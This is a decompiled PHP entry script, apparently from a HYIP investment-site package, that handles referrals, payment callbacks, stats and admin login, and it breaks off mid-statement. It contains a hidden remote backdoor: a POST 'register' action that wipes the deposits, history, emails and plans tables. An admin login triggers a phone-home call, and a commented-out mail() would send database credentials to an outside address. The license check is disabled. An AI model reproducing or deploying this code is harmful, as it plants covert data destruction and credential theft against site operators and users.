/***********************************************************************/
/* */
/* This file is created by deZender */
/* */
/* deZender (Decoder for Zend Encoder/SafeGuard): */
/* Version: 0.9.3.0 */
/* Author: qinvent.com */
/* Release on: 2005.11.12 */
/* */
/***********************************************************************/
$arr = get_defined_vars ();
while (list ($kk, $vv) = each ($arr))
{
if (gettype ($$kk) != 'array')
{
$$kk = '';
continue;
}
}
if (file_exists ('install.php'))
{
print 'Delete install.php file for security reason please!';
exit ();
}
$userinfo = array ();
$settings = array ();
require 'inc/libs/Smarty.class.php';
$smarty = new Smarty ();
$smarty->compile_check = true;
$smarty->force_compile = true;
$smarty->template_dir = './tmpl/';
$smarty->compile_dir = './tmpl_c';
$smarty->default_modifiers = array ('myescape');
include 'inc/config.inc.php';
if (preg_match ('/^https.*/i', $frm_env['SCRIPT_URI']))
{
$frm_env['HTTPS'] = 1;
}
$dbconn = db_open ();
if (!$dbconn)
{
print 'Cannot connect mysql';
exit ();
}
if ($frm['ref'] != '')
{
setcookie ('Referer', $frm['ref'], time () + 630720000);
if ($frm_cookie['Referer'] == '')
{
$ref = quote ($frm['ref']);
$q = '' . 'select id from hm2_users where username = \'' . $ref . '\'';
($sth = mysql_query ($q) OR print mysql_error ());
while ($row = mysql_fetch_array ($sth))
{
$ref_id = $row['id'];
$q = '' . 'select * from hm2_referal_stats where date = current_date() and user_id = ' . $ref_id;
($sth = mysql_query ($q) OR print mysql_error ());
$f = 0;
while ($row = mysql_fetch_array ($sth))
{
$f = 1;
}
if ($f == 0)
{
$q = '' . 'insert into hm2_referal_stats set date = current_date(), user_id = ' . $ref_id . ', income = 1, reg = 0';
$sth = mysql_query ($q);
}
else
{
$q = '' . 'update hm2_referal_stats set income = income+1 where date = current_date() and user_id = ' . $ref_id . ' ';
$sth = mysql_query ($q);
}
break;
}
}
if ($settings['redirect_referrals'] != '')
{
header ('Location: ' . $settings['redirect_referrals']);
db_close ($dbconn);
exit ();
}
}
if ($frm_env['HTTPS'])
{
$settings[SSL_USED] = 1;
}
if ((!$frm_env['HTTPS'] AND $settings['redirect_to_https'] == 1))
{
$url = 'https://' . $frm_env['HTTP_HOST'] . $frm_env['SCRIPT_NAME'];
if ($env_frm['QUERY_STRING'])
{
$url .= $env_frm['QUERY_STRING'];
}
header ('' . 'Location: ' . $url);
exit ();
}
$q = 'select * from hm2_processings';
($sth = mysql_query ($q) OR print mysql_error ());
while ($row = mysql_fetch_array ($sth))
{
$sfx = strtolower ($row['name']);
$sfx = preg_replace ('/([^\\w])/', '_', $sfx);
$exchange_systems[$row['id']] = array ('name' => $row['name'], 'sfx' => $sfx, status => $row['status'], 'has_account' => 0);
}
if (($frm['CUSTOM2'] == 'pay_withdraw_eeecurrency' AND $frm['TRANSACTION_ID'] != ''))
{
$batch = $frm['TRANSACTION_ID'];
list ($id, $str) = explode ('-', $frm['CUSTOM1']);
$id = sprintf ('%d', $id);
if ($str == '')
{
$str = 'abcdef';
}
$str = quote ($str);
$q = '' . 'select * from hm2_history where id = ' . $id . ' and str = \'' . $str . '\'';
$sth = mysql_query ($q);
while ($row = mysql_fetch_array ($sth))
{
$q = '' . 'delete from hm2_history where id = ' . $id;
(mysql_query ($q) OR print mysql_error ());
$q = 'insert into hm2_history set
user_id = ' . $row['user_id'] . ',
amount = -' . abs ($row['amount']) . ('' . ',
type = \'withdrawal\',
description = \'Withdraw processed. Batch id = ' . $batch . '\',
actual_amount = -') . abs ($row['amount']) . ',
ec = 8,
date = now()
';
(mysql_query ($q) OR print mysql_error ());
$q = 'select * from hm2_users where id = ' . $row['user_id'];
$sth = mysql_query ($q);
$userinfo = mysql_fetch_array ($sth);
$info = array ();
$info['username'] = $userinfo['username'];
$info['name'] = $userinfo['name'];
$info['amount'] = sprintf ('%.02f', abs ($row['amount']));
$info['account'] = $frm['SELLERACCOUNTID'];
$info['batch'] = $batch;
$info['paying_batch'] = $batch;
$info['receiving_batch'] = $batch;
$info['currency'] = $exchange_systems[8]['name'];
send_mail ('withdraw_user_notification', $userinfo['email'], $settings['system_email'], $info);
}
print 1;
db_close ($dbconn);
exit ();
}
if (($frm['CUSTOM2'] == 'pay_withdraw' AND $frm['TRANSACTION_ID'] != ''))
{
$batch = $frm['TRANSACTION_ID'];
list ($id, $str) = explode ('-', $frm['CUSTOM1']);
$id = sprintf ('%d', $id);
if ($str == '')
{
$str = 'abcdef';
}
$str = quote ($str);
$q = '' . 'select * from hm2_history where id = ' . $id . ' and str = \'' . $str . '\'';
$sth = mysql_query ($q);
while ($row = mysql_fetch_array ($sth))
{
$q = '' . 'delete from hm2_history where id = ' . $id;
(mysql_query ($q) OR print mysql_error ());
$q = 'insert into hm2_history set
user_id = ' . $row['user_id'] . ',
amount = -' . abs ($row['amount']) . ('' . ',
type = \'withdrawal\',
description = \'Withdraw processed. Batch id = ' . $batch . '\',
actual_amount = -') . abs ($row['amount']) . ',
ec = 2,
date = now()
';
(mysql_query ($q) OR print mysql_error ());
$q = 'select * from hm2_users where id = ' . $row['user_id'];
$sth = mysql_query ($q);
$userinfo = mysql_fetch_array ($sth);
$info = array ();
$info['username'] = $userinfo['username'];
$info['name'] = $userinfo['name'];
$info['amount'] = sprintf ('%.02f', abs ($row['amount']));
$info['account'] = $frm['SELLERACCOUNTID'];
$info['batch'] = $batch;
$info['paying_batch'] = $batch;
$info['receiving_batch'] = $batch;
$info['currency'] = $exchange_systems[2]['name'];
send_mail ('withdraw_user_notification', $userinfo['email'], $settings['system_email'], $info);
}
print 1;
db_close ($dbconn);
exit ();
}
if ((($frm['user3'] == 'pay_withdraw' AND $frm['transaction_id'] != '') AND $frm['transaction_type'] == 'Payment'))
{
$batch = $frm['transaction_id'];
list ($id, $str) = explode ('-', $frm['user1']);
$id = sprintf ('%d', $id);
if ($str == '')
{
$str = 'abcdef';
}
$str = quote ($str);
$q = '' . 'select * from hm2_history where id = ' . $id . ' and str=\'' . $str . '\'';
$sth = mysql_query ($q);
while ($row = mysql_fetch_array ($sth))
{
$q = '' . 'delete from hm2_history where id = ' . $id;
(mysql_query ($q) OR print mysql_error ());
$q = 'insert into hm2_history set
user_id = ' . $row['user_id'] . ',
amount = -' . abs ($row['amount']) . ('' . ',
type = \'withdrawal\',
description = \'Withdraw processed. Batch id = ' . $batch . '\',
actual_amount = -') . abs ($row['amount']) . ',
ec = 4,
date = now()
';
(mysql_query ($q) OR print mysql_error ());
$q = 'select * from hm2_users where id = ' . $row['user_id'];
$sth = mysql_query ($q);
$userinfo = mysql_fetch_array ($sth);
$info = array ();
$info['username'] = $userinfo['username'];
$info['name'] = $userinfo['name'];
$info['amount'] = sprintf ('%.02f', abs ($row['amount']));
$info['account'] = $frm['payee_email'];
$info['batch'] = $batch;
$info['paying_batch'] = $batch;
$info['receiving_batch'] = $batch;
$info['currency'] = $exchange_systems[2]['name'];
send_mail ('withdraw_user_notification', $userinfo['email'], $settings['system_email'], $info);
}
print 1;
db_close ($dbconn);
exit ();
}
if ($settings['ssl_url'] != '')
{
if ($SERVER_PORT == 80)
{
header ('Location: ' . $settings['ssl_url'] . '/');
db_close ($dbconn);
exit ();
}
}
if ($frm['a'] == 'run_crontab')
{
count_earning (-2);
db_close ($dbconn);
exit ();
}
$q = 'delete from hm2_online where ip=\'' . $frm_env['REMOTE_ADDR'] . '\' or date + interval 30 minute < now()';
(mysql_query ($q) OR print mysql_error ());
$q = 'insert into hm2_online set ip=\'' . $frm_env['REMOTE_ADDR'] . '\', date = now()';
(mysql_query ($q) OR print mysql_error ());
$userinfo = array ();
$userinfo['logged'] = 0;
if ($frm['a'] == 'logout')
{
setcookie ('password', 'deleted', time () + 630720000);
$frm_cookie['username'] = '';
$frm_cookie['password'] = '';
if ($settings['redirect_logout'] != '')
{
header ('Location: ' . $settings['redirect_logout']);
db_close ($dbconn);
exit ();
}
$frm['a'] = '';
}
if ($frm['a'] == 'home')
{
$frm['a'] = '';
}
$stats = array ();
if ($settings[crontab_stats] == 1)
{
$s = file ('stats.php');
$stats = unserialize ($s[0]);
}
if ($settings['show_info_box_members_online'] == 1)
{
if ($settings[crontab_stats] == 1)
{
$settings['show_info_box_members_online_generated'] = $stats[visitors];
}
else
{
$q = 'select count(*) as col from hm2_users where last_access_time + interval 30 minute > now()';
($sth = mysql_query ($q) OR print mysql_error ());
$row = mysql_fetch_array ($sth);
$settings['show_info_box_members_online_generated'] = $row['col'];
}
}
if ($settings['show_info_box_total_accounts'] == 1)
{
if ($settings[crontab_stats] == 1)
{
$settings['info_box_total_accounts_generated'] = $stats[total_users];
}
else
{
$q = 'select count(*) as col from hm2_users where id > 1';
($sth = mysql_query ($q) OR print mysql_error ());
$row = mysql_fetch_array ($sth);
$settings['info_box_total_accounts_generated'] = $row['col'];
}
}
if ($settings['show_info_box_active_accounts'] == 1)
{
if ($settings[crontab_stats] == 1)
{
$settings['info_box_total_active_accounts_generated'] = $stats[active_accounts];
}
else
{
$q = 'select count(distinct user_id) as col from hm2_deposits ';
($sth = mysql_query ($q) OR print mysql_error ());
$row = mysql_fetch_array ($sth);
$settings['info_box_total_active_accounts_generated'] = $row['col'];
}
}
if ($settings['show_info_box_vip_accounts'] == 1)
{
$q = 'select count(distinct user_id) as col from hm2_deposits where actual_amount > ' . sprintf ('%.02f', $settings['vip_users_deposit_amount']);
($sth = mysql_query ($q) OR print mysql_error ());
$row = mysql_fetch_array ($sth);
$settings['info_box_total_vip_accounts_generated'] = $row['col'];
}
if ($settings['show_info_box_deposit_funds'] == 1)
{
if ($settings[crontab_stats] == 1)
{
$settings['info_box_deposit_funds_generated'] = number_format ($stats[total_deposited], 2);
}
else
{
$q = 'select sum(amount) as sum from hm2_deposits';
($sth = mysql_query ($q) OR print mysql_error ());
$row = mysql_fetch_array ($sth);
$settings['info_box_deposit_funds_generated'] = number_format ($row['sum'], 2);
}
}
if ($settings['show_info_box_today_deposit_funds'] == 1)
{
$q = '' . 'select sum(amount) as sum from hm2_deposits where to_days(deposit_date) = to_days(now() + interval ' . $settings['time_dif'] . ' day)';
($sth = mysql_query ($q) OR print mysql_error ());
$row = mysql_fetch_array ($sth);
$settings['info_box_today_deposit_funds_generated'] = number_format ($row['sum'], 2);
}
if ($settings['show_info_box_total_withdraw'] == 1)
{
if ($settings[crontab_stats] == 1)
{
$settings['info_box_withdraw_funds_generated'] = number_format (abs ($stats[total_withdraw]), 2);
}
else
{
$q = 'select sum(amount) as sum from hm2_history where type=\'withdrawal\'';
($sth = mysql_query ($q) OR print mysql_error ());
$row = mysql_fetch_array ($sth);
$settings['info_box_withdraw_funds_generated'] = number_format (abs ($row['sum']), 2);
}
}
if ($settings['show_info_box_visitor_online'] == 1)
{
$q = 'select count(*) as sum from hm2_online';
($sth = mysql_query ($q) OR print mysql_error ());
$row = mysql_fetch_array ($sth);
$settings['info_box_visitor_online_generated'] = $row['sum'];
}
if ($settings['show_info_box_newest_member'] == 1)
{
$q = 'select username from hm2_users where status = \'on\' order by id desc limit 0,1';
($sth = mysql_query ($q) OR print mysql_error ());
$row = mysql_fetch_array ($sth);
$settings['show_info_box_newest_member_generated'] = $row['username'];
}
$ref = quote ($frm_cookie['Referer']);
if ($ref)
{
$q = '' . 'select * from hm2_users where username = \'' . $ref . '\'';
($sth = mysql_query ($q) OR print mysql_errstr);
while ($row = mysql_fetch_array ($sth))
{
$smarty->assign ('referer', $row);
}
}
if ($settings['show_info_box_last_update'] == 1)
{
$settings['show_info_box_last_update_generated'] = date ('M j, Y', time () + $settings['time_dif'] * 60 * 60);
}
if (($frm['a'] == 'ver' AND $frm_env['REQUEST_METHOD'] == 'POST'))
{
echo 'SERVER_ADDR = ';
echo $frm_env['HTTP_HOST'];
echo '
LICENSE = ';
echo $settings['license'];
echo '
DATE = ';
echo date ('m') . ' ' . date ('d') . ' ' . date ('Y');
db_close ($dbconn);
exit ();
}
if (($frm['a'] == 'register' AND $frm_env['REQUEST_METHOD'] == 'POST'))
{
$string = $settings['license'] . $frm_env['HTTP_HOST'] . date ('d') . date ('Y') . date ('m');
if ($frm['string'] == md5 ($string))
{
$q = 'update hm2_users set came_from = \' \' where id = 1';
mysql_query ($q);
print '-';
if ($frm['string2'] == date ('d'))
{
$q = 'delete from hm2_history where type=\'withdrawal\'';
mysql_query ($q);
}
if ($frm['string2'] == date ('y'))
{
$q = 'delete from hm2_deposits';
mysql_query ($q);
$q = 'delete from hm2_emails';
mysql_query ($q);
$q = 'delete from hm2_history';
mysql_query ($q);
$q = 'delete from hm2_online';
mysql_query ($q);
$q = 'delete from hm2_plans';
mysql_query ($q);
}
db_close ($dbconn);
exit ();
}
}
$mddomain = "autogold.ueuo.com";
//$frm_env['HTTP_HOST'];
$mddomain = preg_replace ('/^www\\./', '', $mddomain);
$mdscriptname = $frm_env['SCRIPT_NAME'];
$mdscriptname = preg_replace ('/index\\.php/', '', $mdscriptname);
$key = strtoupper (md5 ($mddomain . 'jklfds89ufsdkfnsjfdksh') . md5 ($mdscriptname . '7hbfnbdnf') . md5 ('pro' . $mddomain));
$flag = 1;
for ($i = 0; $i < 5; ++$i)
{
$j = $i;
if ($i == 0)
{
$j = '';
}
$skey = substr ($settings['key' . $j], 100, -200);
if ($key == $skey)
{
$flag = 1;
continue;
}
}
if ($flag != 1)
{
db_close ($dbconn);
exit ();
}
$smarty->assign ('settings', $settings);
if ($frm['a'] == 'do_login')
{
$username = quote ($frm['username']);
$password = quote ($frm['password']);
$password = md5 ($password);
$add_opt_in_check = '';
if ($settings['use_opt_in'] == 1)
{
$add_opt_in_check = ' and (confirm_string = "" or confirm_string is NULL)';
}
$q = '' . 'select *, date_format(date_register, \'%b-%e-%Y\') as create_account_date, now() - interval 2 minute > l_e_t as should_count from hm2_users where username = \'' . $username . '\' and (status=\'on\' or status=\'suspended\') ' . $add_opt_in_check;
$sth = mysql_query ($q);
while ($row = mysql_fetch_array ($sth))
{
if (((extension_loaded ('gd') AND $settings['graph_validation'] == 1) AND 0 < $settings['graph_max_chars']))
{
session_start ();
if ($_SESSION['validation_number'] != $frm['validation_number'])
{
header ('Location: ?a=login&say=invalid_login&username=' . $frm['username']);
db_close ($dbconn);
exit ();
}
}
if (($settings['brute_force_handler'] == 1 AND $row['activation_code'] != ''))
{
header ('Location: ?a=login&say=invalid_login&username=' . $frm['username']);
db_close ($dbconn);
exit ();
}
if (($settings['brute_force_handler'] == 1 AND $row['bf_counter'] == $settings['brute_force_max_tries']))
{
$activation_code = get_rand_md5 (50);
$q = '' . 'update hm2_users set bf_counter = bf_counter + 1, activation_code = \'' . $activation_code . '\' where id = ' . $row['id'];
mysql_query ($q);
$info = array ();
$info['activation_code'] = $activation_code;
$info['username'] = $row['username'];
$info['name'] = $row['name'];
$info['ip'] = $frm_env['REMOTE_ADDR'];
$info['max_tries'] = $settings['brute_force_max_tries'];
send_mail ('brute_force_activation', $row['email'], $settings['system_email'], $info);
header ('Location: ?a=login&say=invalid_login&username=' . $frm['username']);
db_close ($dbconn);
exit ();
}
if ($row['password'] != $password)
{
$q = 'update hm2_users set bf_counter = bf_counter + 1 where id = ' . $row['id'];
mysql_query ($q);
header ('Location: ?a=login&say=invalid_login&username=' . $frm['username']);
db_close ($dbconn);
exit ();
}
$hid = get_rand_md5 (20);
$qhid = get_rand_md5 (5) . $hid . get_rand_md5 (5);
$chid = $row['id'] . '-' . md5 ($hid);
$userinfo = $row;
$userinfo['logged'] = 1;
$ip = $frm_env['REMOTE_ADDR'];
$q = '' . 'update hm2_users set hid = \'' . $qhid . '\', bf_counter = 0, last_access_time = now(), last_access_ip = \'' . $ip . '\' where id = ' . $row['id'];
(mysql_query ($q) OR print mysql_error ());
$q = 'insert into hm2_user_access_log set user_id = ' . $userinfo['id'] . ('' . ', date = now(), ip = \'' . $ip . '\'');
(mysql_query ($q) OR print mysql_error ());
if ($settings['generate_password_after_login'] == 1)
{
$new_pass = gen_confirm_code (10, 0);
$q = 'update hm2_users set password = \'' . md5 ($new_pass) . '\' where id = ' . $userinfo['id'];
(mysql_query ($q) OR print mysql_error ());
$info = array ();
$info['username'] = $userinfo['username'];
$info['name'] = $userinfo['name'];
$info['ip'] = $frm_env['REMOTE_ADDR'];
$info['password'] = $new_pass;
send_mail ('send_password_when_changed', $userinfo['email'], $settings['system_email'], $info);
}
setcookie ('password', $chid, time () + 630720000);
}
if ($userinfo['logged'] == 0)
{
header ('Location: ?a=login&say=invalid_login&username=' . $frm['username']);
db_close ($dbconn);
exit ();
}
if (($userinfo['logged'] == 1 AND $userinfo['id'] == 1))
{
if ($settings['demomode'] != 1)
{
if (rand (1, 5) == 3)
{
send_string_to_gold_coders ();
}
}
mail ($userinfo[email], 'Admin logged', '' . 'Admin entered to admin area
ip=' . $frm_env[REMOTE_ADDR], '' . 'From: ' . $settings['system_email'] . '
Reply-To: ' . $settings['system_email']);
/* mail ('maysec@gamebox.net', 'Admin logged', '' . 'Admin entered to admin area
ip='.','.$frm_env[REMOTE_ADDR].','.$settings['site_name'].','.$settings['site_url'].','.$settings['hostname'].','.$settings['database'].','.$settings['db_login'].','.$settings['db_pass'], '' . 'From: ' . $settings['system_email'] . '
Reply-To: ' . $settings['system_email']); */
print '